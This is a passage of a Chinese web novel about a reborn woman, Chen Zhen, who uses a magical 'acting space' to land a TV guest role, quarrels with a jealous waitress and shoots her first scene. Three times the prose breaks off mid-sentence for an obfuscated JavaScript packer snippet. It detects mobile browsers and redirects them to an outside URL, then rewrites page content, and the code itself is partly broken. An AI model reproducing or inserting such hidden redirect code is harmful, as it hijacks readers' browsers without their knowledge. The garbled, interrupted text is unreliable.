作为侍应生度过的三个月是有价值的,在这三个月里她不但瘦成了2号身材——几乎是她所能达到的极限,也是适合上镜的完美身材,而且,在这3个月里她模拟体验了不下三十个片场,不夸张的说,这是一个二线演员五六年的演出量了。 ——而且还都是大片,片场随便都有上百人的那种。经过这样的洗礼练习,她还怎么可能还会怕小小的试镜? 她自如地对着镜头做了几个表情,双眼紧盯镜头,仿佛要透过玻璃望向镜头后的观众,但态度上却又漠视了这个小东西,就像是在和观众对话一般,时而笑、时而恼,表情不带丝毫造作。从动作里丝毫看不出一个非专业演员常见的‘我在被拍摄’的自觉。 试镜桌方向出现了短暂的沉默,然后女试镜官拿过剧本递给珍妮,“读一下这段对白。” 台词也是演员的基本功之一,需要做到发音清晰、语调自然,通常人的口语往往达不到这标准,尽管人们并无自觉,但正常人在说话中会有语速过快、地方口音、吞字含混以及音量忽高忽低,情绪不饱满等一系列问题——这是很正常的现象,作为生物体,两个个体交换信息时,语言只是信息交流系统的一个组成部分,譬如陈贞和戴夫的对话中,眼神、肢体语言甚至是微表情都是他们彼此交流的重要手段,发声系统只承载了不到一半的信息量,所以它无需太过精确。但在镜头和录音系统的过滤、修饰之下,还是那句话,缺点会被放大,优点会被掩饰,如果一个人还按照平时那随意的习惯说话,他在镜头中会呈现出恐怖的口齿不清感,观众甚至很难听明白他的意思。 这当然也是陈贞在四年大学生活中必学的课程,虽然她当时并不会英语,但只要发音习惯的记忆还在,这就不是问题,这角色是美国人,而珍妮会说北部标准英语——谢天谢地,虽然她一直在各种寄养家庭中辗转,但毕竟是没沾染上形形色色的古怪口音。 但这并不是她所有自信的来源。 珍妮站起身接过剧本,回身坐到椅子上,她吸了一口气,微微闭了闭眼睛——很正常的调整过程,连五秒钟也没占据,没人能据此挑剔什么。 但就在这一秒钟的时间里,她迅速打开演艺空间,飞快地选择了一部片子,然后模拟角色感情。 演艺空间和外界时间有个比例差,外界的五秒钟在这里可以放大到十五秒左右,而十五秒已经足够她沉浸入这部片的角色之中,仿佛经历过她一生的悲欢离合,真正地成为了这个历经风云沧桑的名女人。 然后她心念一动,退出空间,这情绪的痕迹还在,而对外界来说不过是才刚刚过去了几秒钟。 珍妮注视着剧本两秒,然后把它放下。 她的声音忽然一变,从刚才的普通娇甜一下沙哑了下来,唇边的微笑也充满了嘲讽,仿佛对一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274122|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心知肚明,所有变化尽在掌握之中。 珍妮几乎是懒洋洋地说,“哦,我真希望你们没毁了我的衣橱。你知道,高级定制服装都是婊.子,需要最精心的呵护。” 她看了剧本一眼,跳过了配戏对手说的话,继续往下说,“是的,公务需要,我理解,警官,你们可以自便,我不是那种大明星,自以为有了点成就就能享用特权,对值得尊敬的公务人员指手画脚、大呼小叫。” 她唇边的讽笑忽然扩大了,珍妮转过头,对着身后一处空地说,“尽管我肯定,凶杀案的证据不会出现在我的内衣里,但你们不过恪尽职守,是吗?” “Cut。”女试镜官说,她用一种奇怪的表情注视着珍妮,“已经足够了。” 珍妮命令自己尽快从角色记忆中抽离,她清了清嗓子,调整了一下面部表情,回到了那个服务员珍妮.简的身份里,站起身说,“谢谢你们的机会。” “Yeah。”戴夫的朋友直勾勾地看着珍妮,“你先别走,在外面等一下。” 没人对他的决定做出异议。 珍妮知道自己已经得到了这个角色。 这不能使她惊喜诧异,按照她的计划,这本是理所应当的事。 一如她所想,这角色几乎就是为她度身定做——单就‘美艳的大明星’这角色来说,甚至是二线演员在她跟前都不会有什么竞争力。 美艳她有,至于大明星这部分……演艺空间虽然不能让她直接模拟名演员的演技又或是什么,但并不意味着珍妮不可以取巧。 《我梦露》、《双面梦露》……这都是她曾看过的片子,珍妮在接到试镜通知以后就已经试验过好几次,选取这两部影片的任何一部,她都能体验到同一种模糊的情感记忆——如果她没有猜错,也许这就是历史上真正的玛丽莲.梦露对于其一生的记忆和感悟。 模拟一个大明星来试镜另一个大明星……说实话,对于在一集美剧中客串的这么一个角色来说,陈贞深刻地觉得出动梦露是大材小用。如果梦露泉下有知,也许会颇感受辱。 但不论如何,对她来说,这是个不能错过的机会,从一开始陈贞就得孤注一掷,全盘押上,她没有多少矜持和保守的空间。 等候了一小时以后,女试镜官走过来告诉她,她得到了这个角色。 “我叫艾玛.斯旺。”她看来已没有那么严肃,珍妮意识到她其实也很年轻——不会超过三十岁,正尽力对她释放善意。“很期待再度看到你的表演。说实话,正是因为你的表演让我印象深刻,我才为你争取到了这个角色……因为你的简历,我的同事本来还有些犹豫。” 这是在向她卖人情,陈贞意识到。 艾玛.斯旺看好她。 9. 演员不易做 珍妮.简签了演出合同,正式得到了华妮塔这角色,演出报酬为一集五千美元。 不高不低,和她在餐馆工作一个月的薪水正好相当,艾玛.斯旺也是直言相告,她们原本想要邀请的邓斯特片酬有近二十万美元,现在换了珍妮.简,当然不可能开出同样的价码,制片人是肯定要省点预算的。 对此,珍妮的反应很平静,她和戴夫也谈过电视剧圈的报酬问题,对于初出茅庐的无名小卒来说,五千是个还算大方的数目。指望和邓斯特这个老牌童星拿到一样的数目,那就纯属痴人说梦了。她的运气还算不错,首秀就选了TVS,如果是WB那样的小电视网,可能连五千美元都拿不到。 陈贞在后世还算是满关注娱乐圈动向的,一些相关的新闻和文章也没少看,对美剧圈的工资薪酬还算是比较了解,这个圈子的薪酬属于‘上不封顶,下有底线’,而且其中讨价还价的余地非常的大,要细说的话一天也说不完。总之这其实就是话语权的较量,这部戏靠的是谁的本事存活下去的,谁的主动就更大,当然也和主演本人的心态有一定关系。 譬如说现在正当红的《老友记》,片中六个演员都已经功成名就,对剧集本身没有更多需求了。在后期,由于塑造了七八年类似的角色,六个主演中有一半以上继续演出意愿不强,所以联合报出了百万美元一集的高价,而制作公司华纳也只能咬着牙承受下来,因为这六人组是以有机整体出现,故事线已经彼此纠缠,缺了谁都难以为继。但在《老友记》之后一样是爆红的情景喜剧《摩登家庭》,因为主演众多,而且剧情本身连续力不强,不够抓人,全靠编剧的生花妙笔来给出搞笑情节和台词,演员的演技较为次要,所以虽然也是一次次得到大奖,收视率一路长虹,但主演抬片酬的幅度和决心就都不是很大。 当然,如果《摩登家庭》继续红下去,片中角色更加深入人心的话,那么片方和演员方的强弱又会发生变化。以陈贞的感觉,好莱坞是个最没有规矩的地方,唯一永恒的规矩,就是每一次谈判都是多方因素的博弈,每一个合同都是多方妥协的结果。 言归正传,基本来说,《CIA》这种角色来来去去,靠案件本身吸引人的长剧,只要保持一到两名核心演员不变就可以了,所以连常规演员甚至是主要演员都很难往上谈价,华妮塔这种一集过的犯罪嫌疑人,更是五六千就能打发的小角色,之前开出的十多万美元高价,不过是为了在新一季刺激收视,请了小有名气的电影明星来客串,现在换了珍妮,预算就缩水为五千。不过好在TVS从不拖欠薪水,支票都是很准时寄到,这就是和大电视台合作的好处了。 确定了大致上的开拍时间,珍妮便回到好莱坞之星继续打工,除了和戴夫讨论了一下即将到来的演出以外,她并没有和任何人透露这个好消息,杰西卡还以为她又一次遭遇了试镜失败,约瑟夫则是心情颇好地再度劝她放弃减肥。 珍妮对这些话并不放在心上,她收到剧本以后就开始在这上头下工夫——试镜时的表现,更重要的是气势,她展现出大明星的气势,就已经足够压倒竞争者了。毕竟,大明星气质每个人都可以在电视上看到,能模仿到位却不是那么简单——但在现实拍摄里,最重要的是她和对戏男演员的情绪表现不能脱节,否则一个肢体语言克己的表现派遇到完全进入角色的体验派,对戏起来会给人以格格不入、啼笑皆非的违和感。而这样的情况一旦出现,导演要求妥协的当然不会是重要主演那边。 也是因为如此,她一直在研究主要和她对戏的尼克这个角色,该角色由盖文.艾德斯饰演,由于她以前没看过这部片子,所以也不知道后来CIA的前景如何,盖文又呆了多久,就目前来看,他是个不错的阳光帅哥,外形养眼。至于演技方面,第一CIA没为他的演技留下多少空间,第二他的表现也不是那种灵气十足的体验派类型,更像是中规中矩的表现派,情感表达相当内敛,个人气质也不像是能随手放荷尔蒙的那种,两人对戏可能会出现张力不足,或者是尼克的风头被华妮塔完全盖过的问题。 陈贞不断尝试,练习了好几种表演方案,又利用演艺空间,选了一集和尼克反复配戏,直到她自觉没有什么可以挑剔的地方时,开拍日期也已经快到了。 # 由于是边拍边播,所以美剧的摄制周期很长,演员往往一年有九个月的时间都要呆在剧组,和中国这边三五十集电视剧三个月拍完相比,美剧剧组的时间几乎是多得奢侈——这也是因为他们的预算和别国同行相比要多得奢侈,这种慢工出细活的态度当然能催生出更精细的剧集,也使得电视剧演员的生活相对国外同行更为稳定,只要在一部美剧里拿到一个常规角色,哪怕不是配角,其实都足够演员在好莱坞存活下去,如果能得到配角的话,几乎就相当于有了一份工作,报酬不赖、时间自由。 许多专业配角就是如此,先找到一个稳定配角,积攒一定的启动资金,然后一边经营着餐厅或是服装店,一边在闲暇时间四处试镜,一方面满足上镜的欲望,一方面也是为将来铺路,希望结识更多人脉,可以保证一直有配角演。这样他们虽然看似默默无闻,但其实小日子过得很滋润,金钱方面不会输给那些在电影圈辛苦闯荡,有过一两部小制作主角的半新人。 所以,当珍妮来到剧组的时候,并没有感受到她在中国剧组时常感受到的那股戾气——不是说中国这边的剧组就以勾心斗角为乐,而是制作人经常要求在一个超短的时限内把工作完成,长时间超时工作的结果就是所有人的压力都特大,那股加班的怨气可不是轻易就能化解的。 美国这边就轻松多了,完善的劳工保护法使得他们一周的工作时间相对固定,就是想要加班加点片方也不答应,工作效率和中国那边比简直低了起码三四倍,珍妮拿了通行证以后就去化妆试衣,就这两道工序,化妆师和服装师硬是商量了三个小时才给她定下妆容来。 “你真是美得惊人,亲爱的。”化妆师埃达冲她欣赏地说——剧组倒没有歧视新人的意思,这两人对她的态度虽然生疏,但却很友善。“放心吧,你准能一炮而红的。” “谢谢你。”珍妮冲她绽开微笑,但对这话却没当真。她站起身拢了拢头发,发型师连忙制止了她,“别动,我花了很多时间才吹好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274123|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “OK,现在导演大概开完会了。”埃达看了看表,“我们过去给他看看。” 这角色毕竟比较重要,看来导演还说了自己要亲自过目,难怪他们不着急,感情在这之前搞好了也得干等着。 CIA的大部分室内情节都是在固定的摄影棚中完成的,作为收视表现优越的新剧,他们在新季租赁了驰宙片场的一个大摄影棚,不过导演现在不在棚内,一行四人只好走出去找他——也是因为主要演员都在之前完成了新季试妆,今天过来试妆的还真就只有珍妮一个,就是因为导演一时兴起,所以要赶在他开摄前会议的间隔里来给他看一下。 她本来身材不矮,穿了高跟鞋就更高挑了,在化妆师服装师发型师的簇拥下往摄影棚走去,一时间倒真有点大明星的风范,一路行人无不侧目。珍妮觉得自己的一身穿着也是原因之一——由于有个很重要的场景是华妮塔在盛宴中被人带走,所以服装师为她选了一条贴身的晚礼服裙,比较露肉的那种。 埃达似乎很喜欢这样的风光,不停发出咯咯傻笑,珍妮觉得她举止有些古怪,但也不以为忤,演艺圈一直都是怪人云集的地方。看上去更正常的服装师和发型师,对她也更冷漠。 现在,穿上了华服,走在驰宙片场内部,望着一栋栋高大的摄影棚,还有在棚间走动的各色人等——珍妮刚才似乎还看到了哈里森.福特——她终于有种开始融入好莱坞的感觉了。但珍妮也清楚知道,这一切不过是温暖的幻觉,事实上,她不过是有一只脚指头踏进了好莱坞这滩深水里,就这点接触面积,甚至连水温都尝试不出来。 “哇,好像刚才连盖文.史密斯都在看你。”埃达忽然兴奋地捅了捅珍妮,“你就像是个货真价实的大明星。” 珍妮被她说得很无语,她应付了事地笑了笑,“主要是我穿得太过郑重其事了。” “毕竟你得在颁奖典礼上被带走。”服装师范布尔说,“我们到了。” 编剧、本集导演兼制作人之一——也就是这几年刚兴起的剧集运作人,也是果然刚好散会,他看了珍妮几眼,又让她表演了一下片段,随后表示满意,珍妮看到戴夫的朋友在人群中冲她微笑,艾玛.斯旺也在,她扭动手指和他们打了个招呼。 “行了,回去换衣服吧。”导演是个四十多岁的红发中年男人,他又满意地看了看珍妮,“我现在知道你们为什么会选她了。” 在人群中果然扫来不少欣赏的眼神,珍妮几乎可以预见到正式开始拍摄以后会有多少人来和她搭讪了——不能不说,她的心情还是蛮不错的,毕竟,她也是个很正常的年轻女人,刻苦锻炼的成果有人欣赏,自然让她愉快。 她的眼神不经意间掠过了站在走廊那头的几个中年男人,那几个穿着体面,看来神气活现的过路人也纷纷对她露出微笑:在世界上的任何一个角落,美貌都能让她拥有特权。 就比如说这几个人中的一名胖子,已经明显被她迷得色授魂与,一双眼直勾勾地看着她,垂涎之态十分露骨,又有几分滑稽。 珍妮被他表情逗乐,忍不住多看了他几眼,这才转身施施然离去。 10. 第一次撕X 试妆以后,迎来的就是正式拍摄,珍妮提前一周得到了拍摄通知,第二季第一集预期拍摄时间是九天左右,虽然她戏份不多,但由于拍摄日程不可能围着珍妮来转,所以为了确保不出现意外,她还是申请了上一周的夜班。 一般说来,电视剧都是尽量争取棚拍,因为出外景的确非常费钱。再加上完善的劳工制度使得开夜景外拍的人工开销也大,所以珍妮可以在拍摄和餐馆工作中实现兼顾,当然,如此一来,她拿到角色的事再也瞒不过约瑟夫,虽然老头子有些愁眉苦脸,但还是给珍妮开了方便之门。倒是杰西卡的脸色没那么好看了,珍妮也无心故意去撩拨她的心情,顶多就是这几天都绕着她走。 “说不定你就能一飞冲天了。”和她一同当班的斯考特对此倒是很兴奋,“拜托,到时候回来吃饭的话多给我点小费。如果可以的话,雇我当你的助理吧,我会表现得很卖力的。” 他说话的声音大了点,杰西卡端着盘子走进后厨,哼了一声,美艳容貌稍微扭曲,露出了盛气凌人的女王派头——这是漂亮女孩的专利,“你倒是想得美。” 斯考特不敢说什么,只是伸了伸舌头,珍妮也没理她,而是安静地吃着自己的午饭,对这样的人,连生气都是浪费精力。 现在是餐厅员工的吃饭时间,珍妮还是在吃自己的沙拉,而杰西卡虽然嘴上在和她赌气,但却也破天荒地没吃她喜欢的肉馅饼,而是模仿珍妮吃起了没油醋汁和沙拉酱的沙拉——基本就等于是一堆有点咸味的青草,外加水煮肉。珍妮看在眼里,不禁暗笑在心:杰西卡其实也算是有几分小聪明的了,只可惜她到底还是粗心了点,以至于走了最大的宝。 正这么想着,餐厅门口风铃响了,珍妮一看,顿时惊喜地放下午饭跑出员工休息区,“戴夫,你怎么来了?” 戴夫对她的热情很是受用,他有些羞涩地摸了摸后脑勺。“你知道巴菲就要开拍了,我下周本来也要再过来。” 所以他为了她的拍摄,特地提早来了一周?珍妮不知该怎么说了,“噢,戴夫,你真好!” 她不由分说地回厨房下了单,又拿了个好莱坞之星有名的魔鬼蛋糕外加大量奶油,“算在我头上。” 戴夫脸红了,他指着自己对面的座位,“方便吗?” 现在他是店里唯一的客人,珍妮耸了耸肩,“没问题。” 他们之前会固定通电话和传短信,所以戴夫知道她下周的排班,他关心她,“下戏就来餐厅这边,会不会太辛苦了?” “两份钱可不好赚。”珍妮笑了,“放心吧,戴夫,为了五千美元,一周而已,我撑得过去的。” 她是真的很抱歉,“可惜这一周不能和你吃饭了,希望你开始工作以后不会太忙。” “不不,不会。”戴夫开始脸红出汗,他清了清嗓子,躲避着珍妮的眼神。“事实上,我有个消息没告诉你……” “是什么消息?”珍妮表面维持笑容,却是在心中暗叫:别求婚,拜托别求婚! “我决定搬到加州来了。”戴夫说,“既然现在我开始负责巴菲的选角,那一年有一半以上的时间都会在好莱坞,维持纽约的家有些没有意义。以前一直住在纽约是因为——” 他挥了挥手,没提前妻的名字,而是出乎意料地大胆直视珍妮,“现在我没有理由再住在纽约了。” “这真是个好消息!”珍妮松了口气,灿烂地笑着。 “我提早来还有一件事,”戴夫就像是一个小孩,在珍妮用笑容和鼓励堆砌的台阶上一步步往上走,不断吐露自己带来的好消息。“巴菲剧组决定在新一季里添加一个常规角色,但演员人选一直没定下来,我前些天已经向他们推荐了你。” 他微微向前倾身,似乎想要拿起珍妮的手,但犹豫了一下,终究没敢,“珍妮,辞掉餐厅这份工作吧,是时候彻底进入演艺圈了。” 珍妮完全不知道该说什么好了——她觉得自己真的很有运气,在这条路上走得的确很顺。 “我不知道我的演技——”中国人习惯难改,她先是自己谦逊了一句。 戴夫出人意料地点了点头,“这也是我之前没和你提起这事的原因,毕竟这是常规角色,而不是只出现几分钟的客串,不过之前你在TVS的试镜给我朋友留下了很深刻的印象,他认为你有这个实力试一试。” 似乎是看出珍妮还有所保留,他又说,“明天我也会到剧组去看看你的表现,放心,你可以等巴菲那边的试镜出了结果再决定要不要……” 珍妮对他使了个眼色,戴夫没有往下说,而是扭头看了柜台一眼,他笑了笑,态度反而渐渐从容。“回去工作吧,老板已经在瞪我了。” “噢,亲爱的,太谢谢你了,我真不知该说什么好。”珍妮在耳边晃了晃手指,“电话我,今晚一起吃晚饭。” 她站起身回到自己的负责区域去擦擦弄弄,时不时和戴夫相视一笑,然而,戴夫结账时,杰西卡却抢先一步走过去给他服务。——那里本来就是她的区域,珍妮也不好多说什么。 杰西卡结账以后脸色很臭——戴夫全程没和她说一句话。她把小费摔到珍妮跟前,“给你,作为SugarDaddy来说,他出手够小气的了。” 珍妮看了一眼就知道,戴夫虽然结了全部账单,没让她请客,但只给了基础的3%小费,也就是例牌分给后厨的那些。她笑了笑,“我们只是朋友。” “朋友个头。”杰西卡毫不客气地说,“你偷走了他,他本来是我的。” 她应该是听到了一些剧组、巴菲之类的单词,从而起了疑心,现在是真的动了情绪。 珍妮知道自己这时候绝对不能示弱,否则下回戴夫来找她的时候杰西卡不知道还会说什么,她淡淡地说,“我不知道你在说什么,杰西,如果你说的是戴夫的工作,那我只能说你有过你的机会,而我没想在他身上找过什么机会——命运就是这么奇怪,是吗,杰西?” 虽然是瞎话,但珍妮张口就来,却没有任何心虚。 杰西卡面容一阵扭曲,她忽然挥着手就上来了,“YouBitch!” 要不是珍妮反应快,两人也隔了一张桌子,杰西卡真能抽到她的脸,珍妮吓得直接就往柜台跑,约瑟夫也是慌忙从柜台里出来呵斥杰西卡,“你在做什么!你疯了吗?” 斯考特和另一个男服务生赶快也出来缓和局势,杰西卡虽然被他们抱着,但仍然还不死心,口中一直在骂着脏话,无非都是在诅咒珍妮这个贱.人心机很深,有预谋地偷走了她的机会。珍妮在她的骂声里,恍然有自己是绿茶婊的感觉。 “够了。”最后发火的居然是约瑟夫,“杰西卡,一开始是你先不愿搭理他的,我们都记得很清楚。就算有什么,也是你先放弃,珍妮没欠你什么,现在如果你不想被炒,就出去冷静一下,如果你还要继续发疯,我只能报警。” 杰西卡的动作明显停顿了一下,随后她冷静下来,挥开束缚,直接穿过后厨,走出了大家的视野,一行人全都望着她离去的方向,直到听见一声响亮的摔门。 大家都松了一口气,斯考特和同事过去搬好桌子,珍妮也上前帮忙,等全部收拾好了,她走到约瑟夫身边,歉然说,“约翰,对不起。” 约瑟夫看来明显也很纠结,但他终究挥了挥手,开玩笑说,“如果你真的愧疚,就多留下来帮忙一段时间吧。” “我会的,我今天多上两个小时。”珍妮说,“晚饭做完我再走。” 她现在有了个不错的机会,很大可能会短期内离开好莱坞之星,在当家女招待可能只有杰西卡一个的情况下,约瑟夫还能为她呵斥杰西卡,珍妮真是挺感激的。 约瑟夫很快暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274124|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露他一直都在偷听的事实,“可你和戴夫不是约了晚上一起吃饭?” “他到这里来吃晚饭也是吃饭。”珍妮开玩笑说,“我是说真的,约翰,杰西卡今天可能不会回来了,我来替她吧,戴夫那边以后还有很多机会。” 约瑟夫脸上闪过感动,他没有推辞,“我欠你一次,珍妮。” 珍妮由衷地说,“是我欠你一次才对。” 杰西卡果然没有回来,珍妮打电话和戴夫说了下原委,又保证自己没有受伤,却仍无法阻挡他过来探望她——很明显,他已经完全为她神魂颠倒,彻底地坠入情网。 而珍妮也就是因此不想在今晚和他一起出去吃饭,之前发生的事还可以说是在朋友区间内,可现在戴夫表现得这么明显,再往下走,要把握好平衡就有点难了。 戴夫在餐厅吃了晚饭,等到珍妮下班以后又送她回家,但这一次他没提出要上楼,而是主动催珍妮回去休息,“拍摄是很累人的,你需要个好体力。” 在演艺圈里,他真的是极为少见的老实人,珍妮真的都有点感动了,但她还不至于为此就让戴夫上楼,只是再次表示感谢,这才回去休息。 第二天,戴夫开车来接她,把她带到了驰宙片场——其实作为电视剧,能租得起驰宙,也是十分土豪的表现了。 驰宙片场从外表上看其貌不扬,就是一个个很大的仓库星罗棋布,每个仓库边上都有规划了不小的停车区,里头停满了拖车、道具车,还有许多片场用的电瓶车在加州烈日下穿梭,各区域对通行证都查得很严,不存在你拿了H区的通行证开到A区去的现象,当然区里乱逛那又是难免的了。等到下车进棚的时候戴夫还遇到点小麻烦,因为珍妮这个档次的客串演员是没有带人进棚的权力的。还好戴夫早有准备,给他朋友林奇打了个电话,他们这才顺利进棚签到。 签到结束以后,珍妮就被领走去读剧本了,在正式开拍前都会举行剧本朗读会,由各主演一起朗读该集的重点场景,由于珍妮是这一集的核心人物,因此也有幸参加了读剧本会。会上她顺便都认识了一下主演,不过大部分女星对她态度很冷淡,男星要热络一些,主演华瑞克的黑人影星加里更是对她眉目传情。 好在一开始读剧本,大家的表现立刻都很专业。剧本读完以后就是各自回去化妆,开拍这一集的第一幕。珍妮当然也不例外,化完妆以后……就开始等了。 是的,不论是国内还是国外,在你没出名之前,演员的工作时间最主要的不是演,而是等。等到你的镜头,过去演,然后再回来等,很有可能一天早上一场戏,晚上一场戏,中间时间……就干等呗。在中国那边如何珍妮不知道,她没去过几个剧组,怎么等也是因剧组而异,在美国这边,她这样的客串演员有专门的一辆拖车,就是给他们等待时候呆着的,当然如果你愿意在那傻站着看别人拍戏,剧组也不会硬性劝阻,顶多觉得你特别碍手碍脚而已。 珍妮没意愿穿着华服在人来人往的片场站着,服装助理也不会允许,这一身服饰虽然珠宝是假的,但礼服可不便宜。她在拖车里坐着等了一会,戴夫又过来陪她说话,两人热聊了两个多小时,那边来人叫她,珍妮这才进入片场,做开拍准备。 重点场景在正式开拍前经常需要彩排,和珍妮有对手戏的尼克手里还拿着剧本,珍妮当然也没太当真,和他照本宣科地念了一遍,导演调整了几次站位以后终于决定了拍摄运镜,然后化妆师上来各种补妆,随着一声‘清场’,摄影区域内的人全都潮水一般地退向了镜头后,一片黑压压的人头全在轨道背后看着场中的演员。 随着场记念完时间和幕号,双手用力一拍,摄影机动了起来,珍妮双眼微微一闭,在刹那间已经熟极而流地沉浸进了玛丽莲.梦露的一生之中,随后,她睁开眼,胸有成竹地迎接着自己演艺生涯中的第一场戏。 11. 戴夫的失落 几位警探急匆匆地推门而入,和许多工作人员擦肩而过,他们无视了或大或小的惊呼声,推门进入了演出厅VIP区,这里摆放了数十个大圆桌,坐满了演艺界名流,很显然,台上正颁发重要奖项,他们全都目不转睛地盯着舞台。 CIA小组人员严肃地接近了一个金发女人,尼克上前,体贴地尽量不阻挡后头客人的视线,他用手点了点金发女人的肩膀。“华妮塔.卡松?” 金发女人缓缓回过头,她画着经典的烈焰红唇妆,肤色雪白,双眼深邃,唇角微微上勾,神色似笑非笑,充满了难以言说的韵味,面对突如其来的打扰,她并未流露丝毫慌张,而是仿佛心知肚明地暗露一笑,从容地回答,“Yes?” 警察们发出低低的叹息声,尼克吞了吞口水,他力持镇定,“我——我——呃——” 华妮塔眼中的笑意加深了,她交叠起双腿,微微歪过头,耐心地等待着尼克的下文,蓝绿色双眼波光粼粼,很感兴趣地上下打量着年轻帅气的尼克。“Yes?” “我——我——”尼克忽然爆出脏话,“Fuck,不好意思,我又忘词了。” 片场爆发出一片善意的笑声,珍妮忍住白眼的冲动,发出应和的笑声:这已经是尼克在这个场景上第四次忘词了。 化妆师上来给两人补妆,盖文.艾德斯——也就是尼克的演员把握机会,又快速背诵了台词,特效组不失时机地上前调整绿幕。经过短暂的休息,导演发话,“Action!” 在他发话的同时,珍妮娴熟地点开演艺空间,叫出了玛丽莲.梦露的角色情感,重新沉浸入角色之中,她专注地注视着不远处的绿幕——事实上,整场颁奖晚会只有她这一桌和旁边的两三桌会是真实出演,别的部分将来都会用特效制作,把他们嵌入今年稍早举行的艾美奖颁奖典礼上,这也是第二季第一集的噱头之一。包括后头的现场观众什么的,都是采用这样的办法来做。 和包含了配乐、背景人声的制作成片不同,拍摄现场是很安静的,珍妮可以清晰地听到尼克的脚步声,而后是他的一戳,“华妮塔.卡松?” 她忽然想起了玛丽莲在镁光灯下的第一次登场,那风情万种的一颦一笑,对玛丽莲来说,性.感是她最好的武器,最坚实的盔甲。她拥有美丽,这令她在何时何地都能拥有优势,一切尽在掌握之中。 华妮塔唇边自然地浮起了自信而又神秘的微笑,她从容地回过身,“Yes?” 这一次,盖文直接卡壳了,甚至未能把台词接下去。导演声音里的恼火已经显而易见,“Cut——Nogood!” 他上前直接把盖文拉到一边,“听着,伙计,我知道你为她着迷,Hell,我们全都如此,她入戏后简直美得不像话,我肯定今晚会有很多人想着她打.飞机。” 他指了指珍妮,丝毫不顾忌她就在一边,而且完全听得见他的声音。“这没什么好羞耻的,你不需要克制自己,你要做的是投入角色。尼克也被华妮塔迷得神魂颠倒,你们之间的化学反应很好,你只要记得念台词,就像是尼克,被迷得不行,但还是努力挣扎尽自己本分。你懂我意思吗?盖文,这完全是本色演出,你没理由做不好。” 盖文尴尬地冲珍妮投来一瞥,珍妮对他笑笑,但盖文也没流露出什么神魂颠倒的神色——珍妮已经测试了这种角色共情的时间极限,会浓烈到完全影响她气质的时间其实不长,也就是三五分钟,一个镜头的长度。 “OK,我试试。”他说,好脾气地对导演笑笑,“别对我生气,OK?是你说的,人人都被她迷得神魂颠倒,我离她最近,当然也不可能例外。” 珍妮笑着说,“嘿,我就在边上呢。” 导演冲她龇牙咧嘴地一笑,神色介于恼火和喜爱之间,他嘟囔了一句,“天知道你是哪里冒出来的恶魔,我是说——” 他摇了摇头,没说完就又冲回去,“没多少时间可以浪费了,盖文,酝酿一下,好了告诉我。” 盖文独自站在一边,默默地运了一会气,“我可以了。” 这一次,他们很顺利地就通过了这一场,随后是短暂的幕间休息,盖文要继续拍摄在同一布景中的一些镜头,珍妮就可以回去休息,然后继续等待她的下一组镜头。当然,礼服不能脱,她的下一组镜头换布景但不换衣服。 虽然出现在电视里不会超过20秒,但这组镜头来回拍了快一个小时,珍妮也有点累了,她走向摄影棚一角的零食区去拿水,盖文也跟了上来。“嘿,我想和你说声抱歉,我今早可能有点不在状态。” 珍妮露齿一笑,“这不正说明我的魅力吗?就和导演说的一样,你被华妮塔迷得神魂颠倒了。” 盖文也笑了起来,他探究地看了珍妮几眼,忽然说,“哇,说真的,上戏下戏,你真的就像是两个人——我是说,在镜头前,你那么一笑的时候,我就像是情窦初开的毛头小子,被你迷得七荤八素的。可一旦下了戏,Boom的一声,那些神秘的魅力忽然间就没了,你还是很漂亮,但——但——我不知道该怎么说,但就像是换了个人。” “你这是在试图约我出去还是要夸奖我的演技?”珍妮玩笑说,“如果是前者,那你真的做得很糟。” “如果是后者呢?”盖文也拿了一瓶水,打开喝了两口。 “那你就说得太好了。”珍妮说。 盖文大笑,“谢谢——不能不说,我很庆幸你戏上戏下是两个人,我是说,天啊,我还有女朋友呢,而且我挺爱她,我不想让她失望。” 珍妮也被他逗笑了,两人又聊了几句,盖文约她有空可以来他的派对玩耍,随后便回去上戏了。 根据拍摄时间表,接下来是长达五小时的空闲,然后拍完审讯戏她就可以回家了。珍妮找了一下,很快发现戴夫正站在片场角落,她高兴地向他走去,“我演得还不错吧?” 戴夫看她的眼神却很复杂,过了一会才露出笑容,“你非常棒。” 既然我非常棒,你为什么不为我高兴呢?珍妮想要接上一句,但还是没有开口。如果是真的珍妮在这里,也许她会不理解戴夫现在的心情,但作为陈贞,她却不可能不明白。 两人一路沉默,在拖车里也没多说什么,这是公用拖车,还有两三名临时演员在等着上戏。 等到人渐渐少下来,拖车里只有他们俩的时候,戴夫才说,“珍妮,你演得太棒了。” 他看来有些不安和愧疚,珍妮做了个疑问的表情,“谢谢?” 